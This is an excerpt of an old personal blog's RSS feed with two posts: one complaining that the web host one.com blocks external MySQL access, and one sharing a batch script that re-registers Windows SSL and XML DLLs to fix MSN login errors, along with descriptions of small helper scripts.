<p>Even though one.com is a nice, reliable and fast host it still has some lacks and the one of them that has been most frustrating has got be the fact that you CAN NOT connect to the MySQL server externally. The first year of my subscription with one.com I didn’t really use the MySQL at all since I was a HTML kid who didn’t got broadband yet and therefore did all my server-scripting (with a database) at home on a private local server. But the problem was shown it’s UGLY face each and every time I’m doing a new project on my one server for a change. </p>
<p>The main problem is really that I’m a desktop- and not a all-browser-guy. Summed up: I DOSN’T LIKE phpMyAdmin at all, in any way what so ever. I uses the desktop administrative tools from MySQL.com which I find a lot more useful. But in order to connect to your MySQL server externally, you need to know the servers IP or DNS address but even though I’ve been literally begging one.com for an IP or DNS nothing good has come out of it. So sad… </p>
<p>All of this frustration puts me in a kind of messy situation. I doesn't want to leave a good and reliable host for this one thing. But on the other side I doesn't want to be dependant on other peoples servers/hosts where it’s an option to connect to the MySQL externally. </p>
<p>So my question to you dear reader, what should I do? Should I leave my good old host one.com and jeopardize my reliable site, e-mails etc?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/02/20/review-of-the-webhost-onecom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fix MSN errors</title>
		<link>http://www.e-x-e.dk/2008/03/19/some-basic-stuff/</link>
		<comments>http://www.e-x-e.dk/2008/03/19/some-basic-stuff/#comments</comments>
		<pubDate>Wed, 19 Mar 2008 21:10:39 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[BASIC]]></category>
		<category><![CDATA[MSN error]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/post/13</guid>
		<description><![CDATA[I just had some problems with logging on the Live services earlier today and I therefore decided to fix it, so clever I found a help article here: http://tinyurl.com/2qqc49 and I decided to to write a quick BASIC (*.bat) file to make a bit more automatic. I did that because I'm a lazy cow, as [...]]]></description>
			<content:encoded><![CDATA[<p>I just had some problems with logging on the Live services earlier today and I therefore decided to fix it, so clever <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>I found a help article here: <b><a href="http://tinyurl.com/2qqc49">http://tinyurl.com/2qqc49</a></b></p>
<p>and I decided to to write a quick BASIC (*.bat) file to make a bit more automatic. I did that because I'm a lazy cow, as all programmers. (is BASIC really programming, anyway I think it is). You can see the source below.</p>
<p><span id="more-13"></span></p>
<pre class="freebasic"><ol><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">@echo off</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">title Registrering the SSL- and XML-libraries</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">echo <span style="color: #b1b100;">Do</span> you want <span style="color: #b1b100;">to</span> <span style="color: #b1b100;">do</span> this?</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">set /P answer=Y <span style="color: #b1b100;">for</span> yes, N <span style="color: #b1b100;">for</span> No:</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">cls</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">goto</span> %answer%</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">:Y</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	echo Running <span style="color: #b1b100;">function</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	echo.</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s softpub.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo softpub.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s wintrust.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo wintrust.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s initpki.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo initpki.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s Rsaenh.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo Rsaenh.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s Mssip32.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo Mssip32.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s Cryptdlg.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo Cryptdlg.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s Dssenh.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo Dssenh.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s Gpkcsp.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo Gpkcsp.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s Slbcsp.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo Slbcsp.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s Sccbase.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo Sccbase.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	%SYSTEMROOT%\system32\REGSVR32 /s msxml3.<span style="">dll</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">		echo Msxml3.<span style="">dll</span> done</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	echo.</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	<span style="">echo</span> <span style="color: #b1b100;">Function</span> done, press any key <span style="color: #b1b100;">to</span> <span style="color: #b1b100;">exit</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	pause</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	<span style="color: #b1b100;">exit</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">:N</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	echo Press any key <span style="color: #b1b100;">to</span> <span style="color: #b1b100;">exit</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	pause</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">	<span style="color: #b1b100;">exit</span></div></li></ol></pre>
</p>
<p>Now that I have you here I'll also present some of my other helping BASIC functions I've written.</p>
<ul>
<li>ip.bat </li>
<li>google.bat </li>
<li>wiki.bat </li>
<li>statuscheck.bat </li>
<li>whois.bat </li>
<li>findperson.bat </li>
<li>ordbog.bat </li>
</ul>
<p>I don't think I'll post all the source here but I'll upload a small ZIP file containing all the BAT files for you to review. </p>
<p>URL to the zip file: <a href="http://www.e-x-e.dk/stuff/bats.zip">http://www.e-x-e.dk/stuff/bats.zip</a></p>
<p>Here is a small presentation to the files:</p>
<p><strong>ip.bat</strong></p>
<p>A simple bat file showing my internal IP, subnet and gateway IP.</p>
<p>Example: ip</p>
<p><strong>google.bat</strong></p>
<p>This reads the first argument, fx. google Hello+World will google the 2 words &quot;Hello&quot; and &quot;world&quot; (without the quotes). You'll have to use the + as a &quot; &quot; because BASIC doesn't contain a replace function.</p>
<p>Example: google Hello+world</p>
<p><strong>wiki.bat</strong></p>
<p>Same method as google.bat but searches Wikipedia.org with the argument instead. I've set it to search the Danish Wikipedia.org since I'm Danish. But this can easily be changed. </p>
<p>Example: wiki Hello+world</p>
<p><strong>statuscheck.bat</strong></p>
<p>This will ping a host or IP which it reads from the first argument and declare it UP or DOWN using errorlevel1.</p>
<p>Example: statuscheck e-x-e.dk</p>
<p>Example: statuscheck 192.168.1.1</p>
<p><strong>whois.bat</strong></p>
<p>A simple whois script for us non-linux users where it's a built in component. It reads argument1 which has to be the domain (fx. e-x-e) and it reads argument2 which has to be the type of doman (fx. dk).</p>
<p>Example: whois e-x-e dk</p>
<p><strong>findperson.bat</strong></p>
<p>This is for danish people since this looks up a person on the Danish site krak.dk. Argument1 is name and argument2 is address.</p>
<p>Example: findperson Anders+fogh</p>
<p>(Anders Fogh is the Danish Prime Minister)</p>
<p><strong>ordbog.bat</strong></p>
<p>Also a file for the danish people. It looks up a word in a dictionary called ordbogen.com. Argument1 is the word and argument2 is the dictionary code.</p>
<p>Best setting for dictionary is auto, enda or daen.</p>
<p>Example: ordbog human enda</p>
<hr />
<p>In order get these to work in the best way you'll have to place all the files in the %SYSTEMROOT%\system32\ folder. In most cases C:\WINDOWS\system32\.</p>
<p>If you do that you'll be able to run them from the run-dialog (Windows-key and R) and use the example.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2008/03/19/some-basic-stuff/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
